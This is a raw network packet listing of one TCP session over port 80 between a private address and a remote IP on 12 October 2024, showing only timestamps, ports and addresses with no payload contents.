Oct 12, 2024 13:17:23.252173901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252177954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252192974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252207994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252222061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252243042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252275944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252291918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252291918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252310038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252342939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252357006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252357006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252377987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252410889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252427101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252427101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252446890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252495050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252542019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273036003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273086071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273107052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273123026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273158073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273173094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273173094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273192883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273215055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273228884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273264885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273336887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273364067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273364067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273396015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273405075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273437977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273488998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273499966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273499966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273523092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273552895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273569107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273569107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273611069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273612022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273673058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273719072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273719072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273725986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273776054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273778915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273809910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273837090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273844957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273864985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273879051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273911953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273925066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273925066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273946047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.273962021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.273979902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274017096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274029970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274030924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274046898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274077892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274080038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274117947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274128914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274128914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274147987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274177074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274180889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274216890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274228096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274229050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274250031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274275064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274283886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274317980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274347067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274347067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274350882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274380922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274389029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274389029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274414062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274440050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274447918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274473906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274481058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274513960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274521112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274521112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274548054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274580956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274580956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274611950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274616957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274637938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274646997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274669886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274684906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274707079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274715900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274746895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274755955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274755955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274781942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274816036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274821043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.274873018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.274873018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.305428982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.305480003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.305500984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.305525064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.305571079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.305571079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.305640936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.305680990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.305716038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.305727959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.305727959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.305788040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.335813999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.335865974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.335884094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.335902929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.335937977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.335959911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.335959911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.335984945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.335999966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336054087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336064100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336090088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336137056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336137056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336143017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336179018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336232901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336232901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336239100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336293936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336328030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336350918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336350918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336360931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336389065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336399078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336433887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336437941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336472988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336476088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336477041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336527109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336560965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336571932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336571932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336596012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336610079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336637020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336649895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336690903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336700916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336741924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336776972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336776972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336795092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336831093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336833000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336885929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336920023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336926937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336951017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.336955070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.336987019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337007046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337007046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337025881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337054014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337059975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337095022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337110996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337110996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337126970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337148905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337162018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337181091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337194920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337229013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337243080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337243080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337260962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337275982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337294102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337328911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337342978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337342978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337363005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337384939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337399006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337431908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337450981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337450981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337466955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337491989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337498903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337532997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337536097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337536097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337565899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337591887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337599993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337635040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337651014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337651014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337670088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337687016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337704897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337738037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337752104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337752104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337771893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337793112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337805986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337833881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337840080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337862968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337873936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337908030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337922096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337922096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337943077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337971926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.337975025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.337995052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338004112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338037968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338051081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338051081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338071108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338087082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338104010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338129044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338139057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338165998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338175058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338195086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338210106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338232040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338246107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338272095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338279009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338299990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338314056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338346958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338350058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338382959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338409901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338411093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338416100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338453054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338463068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338463068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338483095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.338540077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.338540077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367242098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367278099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367311001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367331028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367353916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367403030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367408037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367441893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367471933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367491961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367501974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367528915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367554903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367563963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367595911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367603064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367603064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367629051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367660999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367679119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367679119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367712021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367743969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367763996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367769003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367798090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367820978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367831945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367865086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367885113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367885113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367902994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367922068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367932081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367950916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.367973089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.367986917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368024111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368031979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368073940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368079901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368110895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368141890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368164062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368164062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368179083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368191004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368208885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368241072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368257046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368257046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368277073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368305922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368338108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368339062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368340015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368372917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368377924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368407011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368432045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368432045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368441105 CEST	80	49730	185.215.113.37	192.168.2.4
